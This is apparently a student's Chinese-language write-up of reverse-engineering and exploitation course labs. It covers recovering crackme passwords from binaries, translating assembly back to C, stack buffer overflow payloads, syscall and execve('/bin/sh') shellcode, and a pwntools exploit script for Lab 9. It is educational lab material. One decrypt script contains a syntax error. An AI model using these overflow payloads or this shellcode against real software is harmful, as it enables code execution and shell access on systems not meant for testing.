oin

writeup


lab

<p>[TOC]</p> <h1>Lab 4</h1> <h2>lab4-1</h2> <p>输入密码后开始递减循环 <img src="https://pic.imgdb.cn/item/63931a15b1fccdcd36f3126e.png" alt="Img" /> <img src="https://pic.imgdb.cn/item/63931a30b1fccdcd36f34876.png" alt="Img" /> 一共循环11次 <img src="https://pic.imgdb.cn/item/63931a6db1fccdcd36f3c30b.png" alt="Img" /> 然后从index 0开始提取我们输入的字节 <img src="https://pic.imgdb.cn/item/63931a97b1fccdcd36f40d02.png" alt="Img" /> <img src="https://pic.imgdb.cn/item/63931ac0b1fccdcd36f449e9.png" alt="Img" /> 同时从index 10开始取给的固定值,只需要将给定的值反向即是密码 所以可知密码为 <code>ysaesawtaht</code> <img src="https://pic.imgdb.cn/item/6391b0f3b1fccdcd36e4c9c1.png" alt="Img" /> 逆向出的C语言代码为</p> <pre><code class="language-c">#include&lt;stdio.h&gt; char *passwd = "thatwaseasy"; int main() { char buf[20]; int j = 0; int flag = 0; char *pd = passwd; printf("Enter the password: "); scanf("%s", buf); for(int i = 10; i &gt;= 0; --i) { if(buf[j] != pd[i]) { flag = 1; } j++; } if(flag) { puts("Incorrect :("); } else { puts("Correct!"); } return 0; }</code></pre> <p><img src="https://pic.imgdb.cn/item/6391b336b1fccdcd36e7eb6b.png" alt="Img" /></p> <h2>lab4-2</h2> <p>和lab4-1差不多 循环变为了递增 <img src="https://pic.imgdb.cn/item/63931b60b1fccdcd36f5bd98.png" alt="Img" /> 对比值是提取出来减去0x20 <img src="https://pic.imgdb.cn/item/63931b8ab1fccdcd36f5f752.png" alt="Img" /> 所以密码为 <code>thatwaseasy</code>减去32的结果,为 <code>THATWASEASY</code> <img src="https://pic.imgdb.cn/item/6391b44cb1fccdcd36e995fc.png" alt="Img" /></p> <pre><code class="language-c">#include&lt;stdio.h&gt; char *passwd = "thatwaseasy"; int main() { char buf[20]; int flag = 0; char *pd = passwd; printf("Enter the password: "); scanf("%s", buf); for(int i = 0; i &lt;= 10; ++i) { if(buf[i] != pd[i]-32) { flag = 1; } } if(flag) { puts("Incorrect :("); } else { puts("Correct!"); } return 0; }</code></pre> <p><img src="https://pic.imgdb.cn/item/6391b586b1fccdcd36eaff06.png" alt="Img" /></p> <p>For lab4-1, what is the purpose of the local variable located at ebp+0x30? 存储了libc的全局变量基地址(不知道对不对,但是我看到就是这个) <img src="https://pic.imgdb.cn/item/639209cfb1fccdcd36815ce8.png" alt="Img" /></p> <h1>Lab 3</h1> <h2>lab3-1</h2> <p>汇编代码分析</p> <pre><code class="language-c">.file "lab3-1.c" .intel_syntax noprefix .text .globl func1 .type func1, @function func1: push ebp mov ebp, esp sub esp, 24 mov eax, DWORD PTR [ebp+8] ; a lea edx, [eax+eax] ; a+a mov eax, DWORD PTR [ebp+8] add edx, eax ; a+a+a mov eax, DWORD PTR [ebp+12] add eax, edx ; a+a+a+b mov DWORD PTR [ebp-12], eax sub esp, 8 push 3 push DWORD PTR [ebp-12] call func2 ; func2(10, 3) ;func2(3*a+b, 3) add esp, 16 leave ret ; return func2(3*a+b, 3) .size func1, .-func1 .globl func2 .type func2, @function func2: push ebp mov ebp, esp mov eax, DWORD PTR [ebp+8] sub eax, DWORD PTR [ebp+12] ; a-b pop ebp ret ; return a-b .size func2, .-func2 .globl main .type main, @function main: lea ecx, [esp+4] and esp, -16 push DWORD PTR [ecx-4] push ebp mov ebp, esp push ecx sub esp, 20 mov DWORD PTR [ebp-12], 0 sub esp, 8 push 6 push 4 call func1 ; func1(4, 6) add esp, 16 mov DWORD PTR [ebp-12], eax mov eax, 0 mov ecx, DWORD PTR [ebp-4] leave lea esp, [ecx-4] ret .size main, .-main .ident "GCC: (Ubuntu 4.9.2-10ubuntu13) 4.9.2" .section .note.GNU-stack,"",@progbits</code></pre> <p>翻译为c语言为</p> <pre><code class="language-c">int func2(int a, int b) { return a-b; } int func1(int a, int b) { int x = 3*a + b; return func2(x, 3); } int main() { int x = 0; x = func1(4, 6); return 0; }</code></pre> <p>编译后的反汇编代码为</p> <pre><code class="language-c">.text:000004ED public func2 .text:000004ED func2 proc near ; CODE XREF: func1+26↓p .text:000004ED .text:000004ED arg_0 = dword ptr 8 .text:000004ED arg_4 = dword ptr 0Ch .text:000004ED .text:000004ED ; __unwind { .text:000004ED push ebp .text:000004EE mov ebp, esp .text:000004F0 call __x86_get_pc_thunk_ax .text:000004F5 add eax, (offset _GLOBAL_OFFSET_TABLE_ - $) .text:000004FA mov eax, [ebp+arg_0] .text:000004FD sub eax, [ebp+arg_4] .text:00000500 pop ebp .text:00000501 retn .text:00000501 ; } // starts at 4ED .text:00000501 func2 endp .text:00000501 .text:00000502 .text:00000502 ; =============== S U B R O U T I N E ======================================= .text:00000502 .text:00000502 ; Attributes: bp-based frame .text:00000502 .text:00000502 public func1 .text:00000502 func1 proc near ; CODE XREF: main+1B↓p .text:00000502 .text:00000502 var_4 = dword ptr -4 .text:00000502 arg_0 = dword ptr 8 .text:00000502 arg_4 = dword ptr 0Ch .text:00000502 .text:00000502 ; __unwind { .text:00000502 push ebp .text:00000503 mov ebp, esp .text:00000505 sub esp, 10h .text:00000508 call __x86_get_pc_thunk_ax .text:0000050D add eax, (offset _GLOBAL_OFFSET_TABLE_ - $) .text:00000512 mov edx, [ebp+arg_0] .text:00000515 mov eax, edx .text:00000517 add eax, eax .text:00000519 add edx, eax .text:0000051B mov eax, [ebp+arg_4] .text:0000051E add eax, edx .text:00000520 mov [ebp+var_4], eax .text:00000523 push 3 .text:00000525 push [ebp+var_4] .text:00000528 call func2 .text:0000052D add esp, 8 .text:00000530 leave .text:00000531 retn .text:00000531 ; } // starts at 502 .text:00000531 func1 endp .text:00000531 .text:00000532 .text:00000532 ; =============== S U B R O U T I N E ======================================= .text:00000532 .text:00000532 ; Attributes: bp-based frame .text:00000532 .text:00000532 ; int __cdecl main(int argc, const char **argv, const char **envp) .text:00000532 public main .text:00000532 main proc near ; DATA XREF: .got:main_ptr↓o .text:00000532 .text:00000532 var_4 = dword ptr -4 .text:00000532 argc = dword ptr 8 .text:00000532 argv = dword ptr 0Ch .text:00000532 envp = dword ptr 10h .text:00000532 .text:00000532 ; __unwind { .text:00000532 push ebp .text:00000533 mov ebp, esp .text:00000535 sub esp, 10h .text:00000538 call __x86_get_pc_thunk_ax .text:0000053D add eax, (offset _GLOBAL_OFFSET_TABLE_ - $) .text:00000542 mov [ebp+var_4], 0 .text:00000549 push 6 .text:0000054B push 4 .text:0000054D call func1 .text:00000552 add esp, 8 .text:00000555 mov [ebp+var_4], eax .text:00000558 mov eax, 0 .text:0000055D leave .text:0000055E retn .text:0000055E ; } // starts at 532 .text:0000055E main endp</code></pre> <h2>lab3-2</h2> <p>汇编代码分析</p> <pre><code class="language-c">.file "lab3-2.c" .intel_syntax noprefix .text .globl main .type main, @function main: push ebp mov ebp, esp sub esp, 16 mov DWORD PTR [ebp-4], 4 ; i = 4 mov DWORD PTR [ebp-16], 0 ; z = 0 mov DWORD PTR [ebp-8], 0 ; x = 0 mov eax, DWORD PTR [ebp-4] cmp eax, 1 ; if(i == 1) je .L3 cmp eax, 4 ; if(i == 4) je .L4 jmp .L9 ; else .L3: mov DWORD PTR [ebp-16], 1 ; z = 1 jmp .L5 .L4: mov DWORD PTR [ebp-16], 2 ; z = 2 jmp .L5 .L9: mov DWORD PTR [ebp-16], 3 ; z = 3 .L5: mov DWORD PTR [ebp-12], 0 ; y = 0 jmp .L6 .L7: mov eax, DWORD PTR [ebp-12] add DWORD PTR [ebp-8], eax ; x += y add DWORD PTR [ebp-12], 1 ; y++ .L6: mov eax, DWORD PTR [ebp-12] cmp eax, DWORD PTR [ebp-16] ; if(y &lt; z) jl .L7 mov eax, 0 leave ret .size main, .-main .ident "GCC: (Ubuntu 4.9.2-10ubuntu13) 4.9.2" .section .note.GNU-stack,"",@progbits</code></pre> <p>翻译成c语言为</p> <pre><code class="language-c">int main() { int i = 4, x = 0, y, z = 0; if(i == 1) { z = 1; } else if(i == 4) { z = 2; } else { z = 3; } for(y = 0; y &lt; z; y++) { x += y; } return 0; }</code></pre> <p>编译后的反汇编代码为</p> <pre><code class="language-c">.text:000004ED public main .text:000004ED main proc near ; DATA XREF: .got:main_ptr↓o .text:000004ED .text:000004ED var_10 = dword ptr -10h .text:000004ED var_C = dword ptr -0Ch .text:000004ED var_8 = dword ptr -8 .text:000004ED var_4 = dword ptr -4 .text:000004ED argc = dword ptr 8 .text:000004ED argv = dword ptr 0Ch .text:000004ED envp = dword ptr 10h .text:000004ED .text:000004ED ; __unwind { .text:000004ED push ebp .text:000004EE mov ebp, esp .text:000004F0 sub esp, 10h .text:000004F3 call __x86_get_pc_thunk_ax .text:000004F8 add eax, (offset _GLOBAL_OFFSET_TABLE_ - $) .text:000004FD mov [ebp+var_4], 4 .text:00000504 mov [ebp+var_10], 0 .text:0000050B mov [ebp+var_8], 0 .text:00000512 cmp [ebp+var_4], 1 .text:00000516 jnz short loc_521 .text:00000518 mov [ebp+var_8], 1 .text:0000051F jmp short loc_537 .text:00000521 ; --------------------------------------------------------------------------- .text:00000521 .text:00000521 loc_521: ; CODE XREF: main+29↑j .text:00000521 cmp [ebp+var_4], 4 .text:00000525 jnz short loc_530 .text:00000527 mov [ebp+var_8], 2 .text:0000052E jmp short loc_537 .text:00000530 ; --------------------------------------------------------------------------- .text:00000530 .text:00000530 loc_530: ; CODE XREF: main+38↑j .text:00000530 mov [ebp+var_8], 3 .text:00000537 .text:00000537 loc_537: ; CODE XREF: main+32↑j .text:00000537 ; main+41↑j .text:00000537 mov [ebp+var_C], 0 .text:0000053E jmp short loc_54A .text:00000540 ; --------------------------------------------------------------------------- .text:00000540 .text:00000540 loc_540: ; CODE XREF: main+63↓j .text:00000540 mov eax, [ebp+var_C] .text:00000543 add [ebp+var_10], eax .text:00000546 add [ebp+var_C], 1 .text:0000054A .text:0000054A loc_54A: ; CODE XREF: main+51↑j .text:0000054A mov eax, [ebp+var_C] .text:0000054D cmp eax, [ebp+var_8] .text:00000550 jl short loc_540 .text:00000552 mov eax, 0 .text:00000557 leave .text:00000558 retn .text:00000558 ; } // starts at 4ED .text:00000558 main endp</code></pre> <h1>Lab 5</h1> <h2>lab5-1</h2> <p><img src="https://pic.imgdb.cn/item/639210fab1fccdcd368db8c1.png" alt="Img" /> 它输入内容存储到var_30处 <img src="https://pic.imgdb.cn/item/63921156b1fccdcd368e3ab4.png" alt="Img" /> 然后对比11个字节数据 <img src="https://pic.imgdb.cn/item/639211beb1fccdcd368eb390.png" alt="Img" /> 这里是获取输入的第i个字节 <img src="https://pic.imgdb.cn/item/639211e9b1fccdcd368ee894.png" alt="Img" /> 这里是获取要对比的字节 <img src="https://pic.imgdb.cn/item/63921467b1fccdcd3691cdce.png" alt="Img" /> 然后对密文的index进行处理计算,但是由于这个index和我们输入完全没有关系,所以可以不太管它,直接再每次获取密文字节的地方设置断点,进行十次调试,每次调试获取一个密码字节 <img src="https://pic.imgdb.cn/item/639214c9b1fccdcd3692418b.png" alt="Img" /> <img src="https://pic.imgdb.cn/item/6392162fb1fccdcd3693ee8b.png" alt="Img" /> 第一个字节为i <img src="https://pic.imgdb.cn/item/63921699b1fccdcd36945fc1.png" alt="Img" /> 第二个字节为c <img src="https://pic.imgdb.cn/item/639216e2b1fccdcd3694aef6.png" alt="Img" /> 第三个字节为E <img src="https://pic.imgdb.cn/item/6392171eb1fccdcd3694ee9c.png" alt="Img" /> 第四个字节为Y <img src="https://pic.imgdb.cn/item/6392177cb1fccdcd3695497e.png" alt="Img" /> 第五个字节为J <img src="https://pic.imgdb.cn/item/639217ecb1fccdcd3695ba64.png" alt="Img" /> 第六个字节为Q <img src="https://pic.imgdb.cn/item/63921834b1fccdcd369632cc.png" alt="Img" /> 第七个字节为x <img src="https://pic.imgdb.cn/item/63921879b1fccdcd36969064.png" alt="Img" /> 第八个字节为v <img src="https://pic.imgdb.cn/item/639218c2b1fccdcd369716b2.png" alt="Img" /> 第九个字节为o <img src="https://pic.imgdb.cn/item/6392190bb1fccdcd3697896c.png" alt="Img" /> 第十个字节为X <img src="https://pic.imgdb.cn/item/639219e6b1fccdcd3698e64c.png" alt="Img" /> 第十一个字节为a 所以密码为 <code>icEYJQxvoXa</code> <img src="https://pic.imgdb.cn/item/63921a35b1fccdcd36997607.png" alt="Img" /></p> <p>字符串在一开始被获取了地址 <img src="https://pic.imgdb.cn/item/63921a81b1fccdcd369a1ed7.png" alt="Img" /> 然后计算出需要的下标,进行地址加减,最后获取到对应的字节 <img src="https://pic.imgdb.cn/item/63921acdb1fccdcd369abf09.png" alt="Img" /> There is a very long string in this binary - how is it being used? esi存储的是字符串地址,eax存储的是下标,进行相加,最后取出对应的字节(我不知道他是要如何计算出下标的过程还是就单纯像我写的这样)</p> <h2>lab5-2</h2> <p>该程序由两处循环,第一处循环还嵌套了一个循环 <img src="https://pic.imgdb.cn/item/63930844b1fccdcd36d2bf04.png" alt="Img" /> 外层循环循环9次 <img src="https://pic.imgdb.cn/item/63930869b1fccdcd36d2f992.png" alt="Img" /> 内部循环0x33次 <img src="https://pic.imgdb.cn/item/6393089eb1fccdcd36d33655.png" alt="Img" /> 外层循环获取输入的一个字节后进入内部循环 <img src="https://pic.imgdb.cn/item/639308ecb1fccdcd36d3a370.png" alt="Img" /> 内部循环是循环取出alpha中的每一个字节和输入的字节进行比对 <img src="https://pic.imgdb.cn/item/63930929b1fccdcd36d3f1d1.png" alt="Img" /> 比对成功就将内层的index赋值var_44外层下标对应处,没有对比成功则var_44对应不变 <img src="https://pic.imgdb.cn/item/63930990b1fccdcd36d48d19.png" alt="Img" /> 第二个循环也是循环9次 <img src="https://pic.imgdb.cn/item/639309bbb1fccdcd36d4d053.png" alt="Img" /> 对比var_44+index和var_68+index是否想等,相等则密码正确 <img src="https://pic.imgdb.cn/item/63930a9bb1fccdcd36d6b34e.png" alt="Img" /> alpha是由大小写字母组成的,而var_68+index对应的值为 <img src="https://pic.imgdb.cn/item/639312e3b1fccdcd36e48b95.png" alt="Img" /> 所以可以根据var_68处的值取索引alpha中对应的字母,可以很容易得到</p> <pre><code>kuEOYZRxk</code></pre> <p><img src="https://pic.imgdb.cn/item/639313e6b1fccdcd36e5e471.png" alt="Img" /> 调试的话我把断点设置在了密码转换处和对比密文处 <img src="https://pic.imgdb.cn/item/639316bdb1fccdcd36ebb361.png" alt="Img" /></p> <p><img src="https://pic.imgdb.cn/item/63931699b1fccdcd36eaee16.png" alt="Img" /> 观察数据的变化</p> <p>There are 3 different arrays used in this binary. How are they being used? (不知道答的是不是问题问的) <img src="https://pic.imgdb.cn/item/639317c5b1fccdcd36ed8426.png" alt="Img" /> alpha数组就是获取alpha字符串地址然后通过index下标相加运算获得需要的字节地址,再提取出来 <img src="https://pic.imgdb.cn/item/63931868b1fccdcd36eea685.png" alt="Img" /> <img src="https://pic.imgdb.cn/item/639318c8b1fccdcd36f01bcb.png" alt="Img" /></p> <p>存储输入转换后的数组每次地址+4,表示它是int类型的,然后进行存储提取 <img src="https://pic.imgdb.cn/item/63931958b1fccdcd36f14d48.png" alt="Img" /> <img src="https://pic.imgdb.cn/item/63931986b1fccdcd36f1ab06.png" alt="Img" /></p> <p>密文数组一开始进行了赋值,也是每次地址+4提取下一个值</p> <h1>Lab 6</h1> <h2>lab6-1</h2> <p><img src="https://pic.imgdb.cn/item/63921d9cb1fccdcd369dd8c6.png" alt="Img" /> strncpy复制8个字节命令行参数到栈内 <img src="https://pic.imgdb.cn/item/63921df2b1fccdcd369e2d6d.png" alt="Img" /> 循环两次 <img src="https://pic.imgdb.cn/item/63921e29b1fccdcd369e62ae.png" alt="Img" /> 对比固定数据,数据为 <img src="https://pic.imgdb.cn/item/63921e53b1fccdcd369e8b57.png" alt="Img" /> 注意小端序问题 所以命令行参数为 <code>\x01\x01\xce\xfa\x01\x01\xce\xfa</code> IDA: <img src="https://pic.imgdb.cn/item/63921f84b1fccdcd369fc60e.png" alt="Img" /> command line: <img src="https://pic.imgdb.cn/item/63921fc5b1fccdcd36a007a5.png" alt="Img" /></p> <h2>lab6-2</h2> <p><img src="https://pic.imgdb.cn/item/639220d3b1fccdcd36a0f215.png" alt="Img" /> 输入5个数字 <img src="https://pic.imgdb.cn/item/639220eeb1fccdcd36a108b6.png" alt="Img" /> 循环对比5次 <img src="https://pic.imgdb.cn/item/63922109b1fccdcd36a11e55.png" alt="Img" /> 输入的数字进行了encrypt <img src="https://pic.imgdb.cn/item/63922139b1fccdcd36a14fe6.png" alt="Img" /> 而比对的数字为固定的 <img src="https://pic.imgdb.cn/item/63922181b1fccdcd36a1b936.png" alt="Img" /> 主要关注encrypt函数 <img src="https://pic.imgdb.cn/item/63922362b1fccdcd36a35ea5.png" alt="Img" /> 简化过来就是</p> <pre><code>x = 0x15*(x+0x7b) ^ 0xaaaa</code></pre> <p>解密算法为</p> <pre><code>x = (x^0xaaaa)//0x15-0x7b</code></pre> <p>解密脚本为</p> <pre><code class="language-python">def decrypt(x): return x = (x^0xaaaa)//0x15 - 0x7b en = [0xa000, 0xa17a, 0xa608, 0xa42f, 0xa150] for i in en: print decrypt(i)</code></pre> <p><img src="https://pic.imgdb.cn/item/639224b3b1fccdcd36a4a57b.png" alt="Img" /> <img src="https://pic.imgdb.cn/item/639224d6b1fccdcd36a4c290.png" alt="Img" /></p> <h1>Lab 7</h1> <h2>lab7-1</h2> <p><img src="https://pic.imgdb.cn/item/6392262cb1fccdcd36a5f85f.png" alt="Img" /> 程序将命令行参数复制到了栈中 <img src="https://pic.imgdb.cn/item/6392265eb1fccdcd36a6554c.png" alt="Img" /> 然后栈中另一个局部变量需要等于0x0FACECAFE才能打印correct,我们需要做的就是覆盖这个局部变量 <img src="https://pic.imgdb.cn/item/639226a8b1fccdcd36a6a92a.png" alt="Img" /> 两者之间的偏移量为24,所以payload为</p> <pre><code>aaaaaaaaaaaaaaaaaaaaaaaa\xfe\xca\xce\xfa</code></pre> <p>注意小端序 python脚本为</p> <pre><code class="language-python">print 'a'*24 + '\xfe\xca\xce\xfa'</code></pre> <p><img src="https://pic.imgdb.cn/item/63922785b1fccdcd36a7e18f.png" alt="Img" /></p> <h2>lab7-2</h2> <p><img src="https://pic.imgdb.cn/item/63922e4db1fccdcd36afb312.png" alt="Img" /></p> <p>main函数调用unsafe函数将命令行参数复制到局部变量中 <img src="https://pic.imgdb.cn/item/63922e31b1fccdcd36af9df8.png" alt="Img" /></p> <p>而correct打印在另一个函数,我们需要做的就是溢出覆盖unsafe的函数返回地址为sneaky的地址 <img src="https://pic.imgdb.cn/item/63922e66b1fccdcd36afc811.png" alt="Img" /></p> <p>var_12距离函数返回地址的偏移量为0x16,所以payload为</p> <pre><code>'a'*0x16 + '\x3d\x51\x5e\x5e'</code></pre> <p>strcpy后的栈框架为 <img src="https://pic.imgdb.cn/item/63922e11b1fccdcd36af86f0.png" alt="Img" /></p> <p>python脚本为</p> <pre><code class="language-python">print 'a'*0x16 + '\x3d\x51\x5e\x5e'</code></pre> <p><img src="https://pic.imgdb.cn/item/63922e85b1fccdcd36afe0b2.png" alt="Img" /></p> <h1>Lab 8</h1> <h2>lab8-1</h2> <p>shellcode汇编代码为</p> <pre><code class="language-c">; open("/tmp/syscall.txt", O_WRONLY|O_CREAT, 777) push 0 push 0x7478742e push 0x6c6c6163 push 0x7379732f push 0x706d742f push esp pop ebx mov ecx, 65 mov edx, 777 mov eax, 5 int 0x80 ; write(rax, "System Calls are Cool!", 22) mov ebx, eax push 0x216c push 0x6f6f4320 push 0x65726120 push 0x736c6c61 push 0x43206d65 push 0x74737953 push esp pop ecx mov edx, 22 mov eax, 4 int 0x80</code></pre> <p>这里主要用到open系统调用创建并打开/tmp/syscall.txt文件,然后用write系统调用把需要写入的东西写入文件 获取到c语言形式的shellcode <img src="https://pic.imgdb.cn/item/6392edeab1fccdcd36a3b0a4.png" alt="Img" /></p> <pre><code class="language-c">int main() { char shellcode[] = "\x6a\x00\x68\x2e\x74\x78\x74\x68\x63\x61\x6c\x6c\x68\x2f\x73\x79\x73\x68\x2f\x74" \ "\x6d\x70\x54\x5b\xb9\x41\x00\x00\x00\xba\x09\x03\x00\x00\xb8\x05\x00\x00\x00\xcd" \ "\x80\x89\xc3\x68\x6c\x21\x00\x00\x68\x20\x43\x6f\x6f\x68\x20\x61\x72\x65\x68\x61" \ "\x6c\x6c\x73\x68\x65\x6d\x20\x43\x68\x53\x79\x73\x74\x54\x59\xba\x16\x00\x00\x00" \ "\xb8\x04\x00\x00\x00\xcd\x80"; int (*func)(); func = (int (*)())shellcode; (int)(*func)(); }</code></pre> <p>编译后执行 <img src="https://pic.imgdb.cn/item/6392ee38b1fccdcd36a446dd.png" alt="Img" /></p> <h2>lab8-2</h2> <p>shellcode汇编代码为</p> <pre><code class="language-c">; execve("/bin/sh", 0, 0) xor ecx, ecx push ecx push 0x68732f2f push 0x6e69622f push esp pop ebx xor edx, edx xor eax, eax mov al, 11 int 0x80</code></pre> <p>这里主要调用了execve系统调用,传入&quot;/bin/sh&quot;来获取shell <img src="https://pic.imgdb.cn/item/6392ef6ab1fccdcd36a71dc5.png" alt="Img" /> 生成的shellcode不带'\x00'</p> <pre><code class="language-c">int main() { char shellcode[] = "\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x54\x5b\x31\xd2\x31\xc0\xb0" \ "\x0b\xcd\x80"; int (*func)(); func = (int (*)())shellcode; (int)(*func)(); }</code></pre> <p><img src="https://pic.imgdb.cn/item/6392efe7b1fccdcd36a81e22.png" alt="Img" /> 如果用scanf注入,那么要删除'\x0b'</p> <h1>Lab 9</h1> <blockquote> <p>不知道这种方法对不对</p> </blockquote> <p><img src="https://pic.imgdb.cn/item/639231a7b1fccdcd36b260b1.png" alt="Img" /> 还是命令行参数通过strcpy进行溢出,而且栈是可执行的,当执行到ret时,eax存储的时buf输入的地址,而程序里有 <code>call eax</code> 指令,那我们可以注入栈shellcode然后跳转去执行,由于buf的空间不够可以用jmp指令跳转到函数返回地址之后执行shellcode scanf只会对'\x00'截断,但是python命令行传递参数不加双引号的话有空格存在就会认为有多个参数,所以我这里用了引号来传递参数 shellcode的大概思路为将&quot;i did it&quot;写入栈中然后获取到esp利用write系统调用写出 接着写入&quot;/bin/sh&quot;到栈里然后调用system函数获取到shell</p> <pre><code class="language-python">from pwn import* context.arch='i386' # 写入buf的shellcode,为了跳转到函数返回地址后的shellcode shellcode = ''' jmp $+0x1a ''' # 执行write(1, "i did it\n", 9), system("/bin/sh") shellcode2 = ''' sub esp, 0x50 push 9 pop edx push 0x0a push 0x74692064 push 0x69642069 push esp pop ecx push 1 pop ebx push 4 pop eax int 0x80 push esi push 0x68732f2f push 0x6e69622f push esp push 0x8049060 pop eax call eax ''' call_eax = 0x0804901d payload = asm(shellcode) payload = payload.ljust(0x16, 'a') payload += p32(call_eax) + asm(shellcode2) print payload</code></pre> <p><img src="https://pic.imgdb.cn/item/63930223b1fccdcd36c87d90.png" alt="Img" /></p>

页面列表

ITEM_HTML